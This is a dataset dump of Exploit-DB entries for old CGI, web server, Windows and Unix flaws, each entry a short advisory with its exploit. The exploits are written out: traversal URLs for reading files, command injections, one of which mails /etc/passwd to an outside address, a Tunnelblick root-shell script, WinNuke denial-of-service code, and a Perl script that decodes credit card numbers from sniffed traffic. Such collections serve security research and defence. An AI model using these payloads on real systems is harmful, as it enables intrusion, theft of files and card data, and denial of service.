QLWD/code_shield huggingface dataset:
标题: Novell NetWare Web Server 2.x - convert.bas EDB-ID: 20448 CVE: 1999-0175 类型: REMOTE 平台: CGI 发布日期: 1996-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/2025/info

Novell NetWare Web Server 2.x versions came with a CGI written in BASIC called convert.bas. This script allows retrieval of files outside of the normal web server context. This can be accomplished simply by submitting the filename and path as a parameter to the script, using relative paths (../../) to traverse directories. Access may or may not be limited to the SYS: volume. 

http://targethost/scripts/convert.bas?../../anything/you/want/to/view URL: https://www.exploit-db.com/exploits/20448
标题: WebCom datakommunikation Guestbook 0.1 - 'wguest.exe' Arbitrary File Access EDB-ID: 20446 CVE: 1999-0467 1999-0287 类型: REMOTE 平台: CGI 发布日期: 1999-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/2024/info

The freeware guestbook package from freeware.webcom.se provides a web-based guestbook feature, using CGI. Some versions of this guestbook (undetermined at the time of writing) are vulnerable to an attack allowing an intruder to retrieve the contents of arbitrary files to which the web server has access. This can be accomplished by specifying the path and filename as the parameter "template" to either rguest.exe or wguest.exe - see Exploit for example. These two programs typically reside in /cgi-bin. 

A request for http://server/cgi-bin/wguest.exe?template=c:\boot.ini will return the remote Web server's boot.ini URL: https://www.exploit-db.com/exploits/20446
标题: GlimpseHTTP 1.0/2.0 / WebGlimpse 1.0 - Piped Command EDB-ID: 20449 CVE: 1999-0147 类型: REMOTE 平台: UNIX 发布日期: 1996-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/2026/info

WebGlimpse and GlimpseHTTP are web indexing and search engine programs with some associated management scripts. GlimpseHTTP up to and including 2.0, and WebGlimpse prior to version 1.5, suffer from a common vulnerability involving the component "aglimpse". This script fails to filter the pipe metacharacter, allowing arbitrary command execution. The demonstration exploit for this vulnerability includes the unix shell "IFS" (Internal Field Separator) variable for situations where the web server filters space characters - by setting this to an acceptable character ("5" in the example exploit) it is possible to use commands with more than one field. (eg., "mail me@myhost.tld"). 

GET /cgi-bin/aglimpse|IFS=5;CMD=mail5drazvan\@pop3.kappa.ro\</etc/passwd;eval5$CMD;echo URL: https://www.exploit-db.com/exploits/20449
标题: Greg Matthews - 'Classifieds.cgi' 1.0 MetaCharacter EDB-ID: 20444 CVE: 1999-0934 类型: REMOTE 平台: CGI 发布日期: 1998-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/2020/info

Classifieds.cgi is a perl script (part of the classifieds package by Greg Matthews) which provides simple classified ads to web sites. Due to improper input validation it can be used to read files on the host machine, with the privileges of the web server. This can be accomplished by embedding the input redirection metacharacter along with a filename into the form field used for e-mail address entry (<input name=return>). Any file that the web server process has read access to can be retrieved. 

Submit email@host</etc/passwd as e-mail address. URL: https://www.exploit-db.com/exploits/20444
标题: Trlinux Postaci Webmail 1.1.3 - Password Disclosure EDB-ID: 20450 CVE: 2000-1100 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/2029/info

Postaci Webmail is a database-driven web e-mail system. PostACI contains a vulnerability in its default configuration that may allow a remote attacker to gain access to the underlying database.

Webmail stores database username and password information in a file called global.inc. This file is world-readable and stored in a directory accessible by a web browser over the internet. As a result, an attacker can retrieve the global.inc file with a web browser on a typical system (default configuration). Once obtained, the attacker may be able to access the systems database.

Successful exploitation will lead to the attacker gaining unauthorized access to the database.

Depending on the database and system type, this may lead to a compromise of interactive access on the host running Webmail and the database. 

http://target/includes/global.inc URL: https://www.exploit-db.com/exploits/20450
标题: IBM Net.Data 7.0 - Full Path Disclosure EDB-ID: 20441 CVE: 2000-1110 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/2017/info

IBM Net.Data is a scripting language used to create web applications, it supports a wide range of language environments and is compatible with most recognized databases.

Net.Data contains a vulnerability which reveals server information. Requesting a specially crafted URL, by way of the CGI application, comprised of an invalid request and known database, will reveal the physical path of server files.

Successful exploitation of this vulnerability could assist in further attacks against the victim host. 

http://target/cgi-bin/db2www/library/document.d2w/show

DTWP029E: Net.Data is unable to locate the HTML block SHOW in file /projects/www/netdata/macro/software/library/document.d2w. URL: https://www.exploit-db.com/exploits/20441
标题: WebCom datakommunikation Guestbook 0.1 - 'rguest.exe' Arbitrary File Access EDB-ID: 20447 CVE: 1999-0467 1999-0287 类型: REMOTE 平台: CGI 发布日期: 1999-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/2024/info
 
The freeware guestbook package from freeware.webcom.se provides a web-based guestbook feature, using CGI. Some versions of this guestbook (undetermined at the time of writing) are vulnerable to an attack allowing an intruder to retrieve the contents of arbitrary files to which the web server has access. This can be accomplished by specifying the path and filename as the parameter "template" to either rguest.exe or wguest.exe - see Exploit for example. These two programs typically reside in /cgi-bin.

http://server/cgi-bin/rguest.exe?template=c:\winnt\system32\$winnt$.inf will return the $winnt$.inf file URL: https://www.exploit-db.com/exploits/20447
标题: Greg Matthews - 'Classifieds.cgi' 1.0 Hidden Variable EDB-ID: 20442 CVE: 1999-0935 类型: REMOTE 平台: CGI 发布日期: 1998-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/2019/info

Classifieds.cgi is a perl script (part of the classifieds package by Greg Matthews) which provides simple classified ads to web sites. Due to improper input validation it can be used to execute any command on the host machine, with the privileges of the web server. If the attacker can submit a command to run as a hidden variable that command will be executed. Normally this variable is reserved for the mail program and is accessed from an HTML page with the following piece of code: <input type="hidden" name="mailprog" value="/usr/sbin/sendmail"> 

<form method=post action="/cgi-bin/classifieds.cgi">
<input type="hidden" name="ClassifiedsDir" value="/home/httpd/html/class/ads/">
<input type="hidden" name="ViewDir" value="http://victim.com/class/ads/">
<input type="hidden" name="ErrorReturn" value="http://victim.com/class/index.html">
<input type="hidden" name="ReturnURL" value="http://victim.com/class/hi.html">
<input type="hidden" name="return" value="duke@viper.net.au">
<input type="hidden" name="mailprog" value="touch /tmp/bighole">
<b>Which department do you want your ad to be placed in or you would like to view?
</form> URL: https://www.exploit-db.com/exploits/20442
标题: Tunnelblick - Local Privilege Escalation (2) EDB-ID: 20443 CVE: 2012-3485 2012-3483 类型: LOCAL 平台: OSX 发布日期: 2012-08-11 漏洞利用脚本: #!/bin/sh

#### Pwnnel Blicker ####
#       for kids       #
#                      #
#         zx2c4        #
#                      #
########################

# This is another exploit for Tunnel Blick.
# Other exploits for Tunnel Blick are available here:
#      http://git.zx2c4.com/Pwnnel-Blicker/tree/



echo "[+] Making vulnerable directory."
mkdir -pv /tmp/pwn/openvpn/openvpn-0

echo "[+] Preparing payload."
cat > /tmp/pwn/openvpn/openvpn-0/openvpn <<_EOF
#!/bin/sh
echo "[+] Cleaning up."
rm -rfv /tmp/pwn
echo "[+] Getting root."
exec bash
_EOF
chmod -v +x /tmp/pwn/openvpn/openvpn-0/openvpn

echo "[+] Creating symlink."
ln -s -v -f /Applications/Tunnelblick.app/Contents/Resources/openvpnstart /tmp/pwn/start

echo "[+] Triggering vulnerable program."
exec /tmp/pwn/start OpenVPNInfo 0 URL: https://www.exploit-db.com/exploits/20443
标题: Microsoft Windows 3.11/95/NT 4.0/NT 3.5.1 - 'Out Of Band' Data Denial of Service (3) EDB-ID: 20439 CVE: 1999-0153 类型: DOS 平台: WINDOWS 发布日期: 1997-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2010/info
  
Older versions of Microsoft Windows (95, Windows for Workgroups 3.11, Windows NT up to and including 4.0), as well as SCO Open Server 5.0, have a vulnerability relating to the way they handle TCP/IP "Out of Band" data.
  
According to Microsoft, "A sender specifies "Out of Band" data by setting the URGENT bit flag in the TCP header. The receiver uses the URGENT POINTER to determine where in the segment the urgent data ends. Windows NT bugchecks when the URGENT POINTER points to the end of the frame and no normal data follows. Windows NT expects normal data to follow. "
  
As a result of this assumption not being met, Windows gives a "blue screen of death" and stops responding.
  
Windows port 139 (NetBIOS) is most susceptible to this attack. although other services may suffer as well. Rebooting the affected machine is required to resume normal system functioning. 

#!/usr/bin/perl

# Ghent - ghent@bounty-hunters.com - Perl version of winnuke.c by _eci

use strict; use Socket;

my($h,$p,$in_addr,$proto,$addr);

$h = "$ARGV[0]"; $p = 139 if (!$ARGV[1]);
if (!$h) { print "A hostname must be provided. Ex: www.microsoft.com\n"; }

$in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
socket(S, AF_INET, SOCK_STREAM, $proto) or die $!;

connect(S,$addr) or die $!; select S; $| = 1; select STDOUT;

print "Nuking: $h:$p\n"; send S,"Sucker",MSG_OOB; print "Nuked!\n"; close S; URL: https://www.exploit-db.com/exploits/20439
标题: Microsoft IIS 1.0 / Netscape Server 1.0/1.12 / OReilly WebSite Professional 1.1b - '.cmd' / '.CMD' Remote Command Execution EDB-ID: 20445 CVE: 1999-0233 类型: REMOTE 平台: WINDOWS 发布日期: 1996-03-01 漏洞利用脚本: IIS 1.0,Netscape Commerce Server 1.0/Communications Server 1.12,OReilly Software WebSite Professional 1.1 b BAT/.CMD Remote Command Execution

source: https://www.securityfocus.com/bid/2023/info

Some web servers that allow batch files to be executed via CGI are vulnerable to an attack whereby an intruder can execute commands on the target machine. This can be accomplished by submitting the command to be executed as a variable preceded by the ampersand (&) symbol, eg. http://targethost/cgi-bin/batfile.bat?&hostile_command. This apparently causes the server to call the function: system("batfile.bat &hostile_command") which the command interpreter interprets as separate commands. Microsoft IIS 1.0 is vulnerable to this attack whether or not the .BAT file requested even exists. Successfully exploiting this vulnerability allows an attacker to execute commands on the target machine with the privileges of the web server. This vulnerability may also be exploited via . CMD files. 

A request similar to the following is used to exploit this:

http://targethost/cgi-bin/test.bat?&dir

Variations may be possible or necessary, depending on the specific web server and configuration. URL: https://www.exploit-db.com/exploits/20445
标题: Microsoft Windows 3.11/95/NT 4.0/NT 3.5.1 - 'Out Of Band' Data Denial of Service (2) EDB-ID: 20438 CVE: 1999-0153 类型: DOS 平台: WINDOWS 发布日期: 1997-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2010/info
 
Older versions of Microsoft Windows (95, Windows for Workgroups 3.11, Windows NT up to and including 4.0), as well as SCO Open Server 5.0, have a vulnerability relating to the way they handle TCP/IP "Out of Band" data.
 
According to Microsoft, "A sender specifies "Out of Band" data by setting the URGENT bit flag in the TCP header. The receiver uses the URGENT POINTER to determine where in the segment the urgent data ends. Windows NT bugchecks when the URGENT POINTER points to the end of the frame and no normal data follows. Windows NT expects normal data to follow. "
 
As a result of this assumption not being met, Windows gives a "blue screen of death" and stops responding.
 
Windows port 139 (NetBIOS) is most susceptible to this attack. although other services may suffer as well. Rebooting the affected machine is required to resume normal system functioning. 

perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"some.windoze.box:139")->send("bye",MSG_OOB)' URL: https://www.exploit-db.com/exploits/20438
标题: Apple Mac OSX 10 / HP-UX 9/10/11 / Mandriva 6/7 / RedHat 5/6 / SCO 5 / IRIX 6 - Shell Redirection Race Condition EDB-ID: 20436 CVE: 2000-1134 类型: LOCAL 平台: UNIX 发布日期: 2000-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/2006/info

bash, tcsh, cash, ksh and sh are all variations of the Unix shell distributed with many Unix and Unix clone operating systems. A vulnerability exists in these shells that could allow an attacker to arbitrarily write to files.

A vulnerability has been discovered in a number of Unix shells which may allow a local attacker to corrupt files or potentially elevate privileges.

Scripts and command line operations using << as a redirection operator create files in the /tmp directory with a predictable naming convention. Additionally, files are created in the /tmp directory without first checking if the file already exists.

This could result in a symbolic link attack that could be used to corrupt any file that the owner of the redirecting shell has access to write to. This issue affects those systems running vulnerable versions of bash, tcsh, cash, ksh and sh.

ksh is reportedly not vulnerable for IBM AIX systems. 

#!/bin/ksh -x
touch /tmp/silly.1
ln -s /tmp/silly.1 /tmp/sh$$.1
ls -l /tmp/silly.* /tmp/sh$$.*
cat <<EOF
Just some short text
EOF
ls -l /tmp/silly.* /tmp/sh$$.*
rm /tmp/silly.* /tmp/sh$$.*

This example was submitted by proton <proton@energymech.net> in an October 29th, 2001 BugTraq posting:

/tmp# echo 'hello world' > rootfile
/tmp# chmod 600 rootfile
/tmp# ln -s rootfile sh$$
/tmp# chown -h 666.666 sh$$
/tmp# ls -l rootfile sh$$
-rw------- 1 root root 12 Oct 29 03:55 rootfile
lrwxrwxrwx 1 666 666 8 Oct 29 03:56 sh12660 ->
rootfile
/tmp# cat <<BAR
? FOO
? BAR
FOO
o world
/tmp# ls -l rootfile sh$$
/bin/ls: sh12660: No such file or directory
-rw------- 1 root root 12 Oct 29 03:56 rootfile
/tmp# cat rootfile
FOO
o world
/tmp# URL: https://www.exploit-db.com/exploits/20436
标题: CGI City CC Whois 1.0 - MetaCharacter EDB-ID: 20433 CVE: 1999-0985 类型: REMOTE 平台: CGI 发布日期: 1999-11-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/2000/info

Whois scripts provide InterNIC lookup services via HTTP. The vulnerable scripts include versions of Matt's Whois and CGI City Whois. Older versions of these fail to filter metacharacters, allowing execution of arbitrary commands by embedding the commands in the domain name to lookup. Specifically, the UNIX command separation character ";" can be used to execute commands. Successful exploitation of this vulnerability would allow an attacker to execute commands with the privileges of the web server process, which could result in retrieval of sensitive information, web defacements, etc. 

Depending on the specific script used, the following syntaxes have been shown to allow intrusion:

1) ;command
2) ";command
3) ;command; URL: https://www.exploit-db.com/exploits/20433
标题: Apache 0.8.x/1.0.x / NCSA HTTPd 1.x - 'test-cgi' Directory Listing EDB-ID: 20435 CVE: 1999-0070 类型: REMOTE 平台: CGI 发布日期: 1996-04-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/2003/info

NCSA HTTPd and comes with a CGI sample shell script, test-cgi, located by default in /cgi-bin. This script does not properly enclose an "ECHO" command in quotes, and as a result "shell expansion" of the * character can occur under some configurations. This allows a remote attacker to obtain file listings, by passing *, /*, /usr/* etc., as variables. The ECHO command expands the * to give a directory listing of the specified directory. This could be used to gain information to facilitate future attacks. This is identical to a problem with another sample script, nph-test-cgi. See references. 

http://target/cgi-bin/test-cgi?/*
http://target/cgi-bin/test-cgi?* URL: https://www.exploit-db.com/exploits/20435
标题: Microsoft Windows Media Player 7.0 - '.asx' Remote Buffer Overflow EDB-ID: 20427 CVE: 2000-1113 类型: REMOTE 平台: WINDOWS 发布日期: 2000-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/1980/info

Windows Media Player is an application used for digital audio, and video content viewing. An unsafe buffer copy involving remotely-obtained data exists in the Active Stream Redirector (ASX) component in Windows Media Player. The ASX enables a user to play streaming media residing on an intranet or external site. .ASX files are metafiles that redirect streaming media content from a browser to Windows Media Player.

The contents of ASX files, when being interpreted by Windows Media Player, are copied into memory buffers for run-time use. When this data is copied, it is not ensured that the amount of data copied is within the predefined size limits. As a result, any extraneous data will be copied over memory boundaries and can overwrite neighbouring memory on the program's stack.

Depending on the data that is copied, a denial of service attack could be launched or arbitrary code could be executed on the target host. Windows Media Player runs in the security context of the user currently logged on, therefore arbitrary code would be run at the privilege level of that particular user. If random data were entered into the buffer, the application would crash and restarting the application is required in order to regain normal functionality.

If a user was misled to download a hostile .ASX file to the local machine, they would only have to single click on the file within Windows Explorer to activate the code. This is due to the 'Web View' option that is used by Windows Explorer to preview web documents automatically while browsing (this feature is enabled by default). In addition, a malformed .ASX file could be embedded into a HTML document and be configured to execute when opened via a browser or HTML compliant email client.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20427.zip URL: https://www.exploit-db.com/exploits/20427
标题: Network Associates Webshield SMTP 4.5 - Invalid Outgoing Recipient Field Denial of Service EDB-ID: 20432 CVE: 2000-1129 类型: DOS 平台: WINDOWS 发布日期: 2000-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/1999/info

Network Associates WebShield SMTP is an email virus scanner designed for internet gateways.

In the event that WebShield SMTP receives an outgoing email containing six "%20" followed by any character within the recipient field, the application will crash, resulting in an access violation error upon processing of the email. Restarting WebShield SMTP is required in order to regain normal functionality. It has been unverified as to whether or not arbitrary code can be executed on the target system if specially crafted code is inserted into the buffer. 

recipient@f%20f%20f%20f%20f%20f%20f URL: https://www.exploit-db.com/exploits/20432
标题: Microsys CyberPatrol 4.0 4.003/4.0 4.005 - Insecure Registration EDB-ID: 20425 CVE: 2000-1173 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-11-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/1977/info

CyberPatrol is popular web access restriction software by Microsys.

A vulnerability exists in the way CyberPatrol submits registration information from its client software to Microsys' backend (cybercentral.microsys.com) that could allow a remote attacker to gather confidential information including credit card details.

The client software claims that all information including credit card details are "scrambled" before being sent to Microsys' backend. Installation of a sniffer has shown that all information with the exception of the credit card number is actually sent in clear text to Microsys. A remote attacker could place a sniffer upstream from the sending client and gather confidential registration information in addition to the credit card number which is only protected by a substitution cypher (please see the original bugtraq message in the reference section for details on the cypher). Additionally, this information could be obtained by examining the log files of a proxy firewall. 

#!/usr/bin/perl

$showline=0;
open(SNORT, "log");
LINE:while($line=<SNORT>){
@field=split /\s/, $line;
if($#field>0 && $#field<15){next LINE;}
if(!($line=~/\w/)){
$registerinfo=~s/\%20/ /g;
$registerinfo=~s/\%40/@/g;
($junk, $registerinfo)=split /\.\.\.\./, $registerinfo;
@array=split /\&/, $registerinfo;
if($array[0]=~/EMAIL/){print "$array[0]\n";}

if($array[1]=~/CARD/){print "CARD=";}
@chararray=split //, $array[1];
$arraylength=$#chararray;
for($i=0; $i<$arraylength+1; ++$i){
if($chararray[$i]=~/\%/){
$checkchar="$chararray[$i]";
$checkchar.="$chararray[$i+1]";
$checkchar.="$chararray[$i+2]";
$i=$i+2;
}
else{$checkchar="$chararray[$i]";}

if($checkchar=~/z/){print "0";}
elsif($checkchar=~/{/){print "1";}
elsif($checkchar=~/x/){print "2";}
elsif($checkchar=~/y/){print "3";}
elsif($checkchar=~/\%7E/){print "4";}
elsif($checkchar=~/\./){print "5";}
elsif($checkchar=~/\|/){print "6";}
elsif($checkchar=~/\}/){print "7";}
elsif($checkchar=~/r/){print "8";}
elsif($checkchar=~/s/){print "9";}


}

if($array[2]=~/EXP/){print "\n$array[2]\n";}
if($array[3]=~/NAME/){print "$array[3]\n";}
if($array[4]=~/ADDR1/){print "$array[4]\n";}
if($array[5]=~/ADDR2/){print "$array[5]\n";}
if($array[6]=~/CITY/){print "$array[6]\n";}
if($array[7]=~/PHONE/){print "$array[7]\n\n\n";}

$registerinfo="";
$showline=0;
}
if($line=~/POST/){$showline=1}
if($showline eq 1){
($junk, $line)=split / /, $line;
chomp($line);
$registerinfo.=$line;
}
} URL: https://www.exploit-db.com/exploits/20425
标题: Caucho Technology Resin 1.2 - JSP Source Disclosure EDB-ID: 20429 CVE: 2000-1224 类型: REMOTE 平台: JSP 发布日期: 2000-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/1986/info

Resin is a servlet and JSP engine that supports java and javascript.

ServletExec will return the source code of JSP files when an HTTP request is appended with certain characters. This vulnerability is dependent on the platform that Resin is running on.

Successful exploitation could lead to the disclosure of sensitive information contained within JSP pages.


Apache (Win32):
..
%2e..
%81
%82
Example: http://target/filename.jsp%81

Resin Web Server:
../
Example: http://target/filename.jsp../


IIS 5 requesting the URL encoded with ASCII:
'%2' instead of '.'
Example: http://target/filename%2ejsp URL: https://www.exploit-db.com/exploits/20429
标题: Miva htmlscript 2.x - Directory Traversal EDB-ID: 20434 CVE: 1999-0264 类型: REMOTE 平台: CGI 发布日期: 1998-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/2001/info

Miva's htmlscript CGI program provides a unique scripting language with HTML type tags. (Note that htmlscript is an older product no longer distributed by Miva under that name.) Versions of the htmlscript interpreter (a CGI script) prior to 2.9932 are vulnerable to a file reading directory traversal attack using relative paths (eg., "../../../../../../etc/passwd"). An attacker need only append this path as a variable passed to the script via a URL. The contents of any file to which the web server process has read access can be retrieved using this method. 

http://host/cgi-bin/htmlscript?../../../../../../../etc/somefile URL: https://www.exploit-db.com/exploits/20434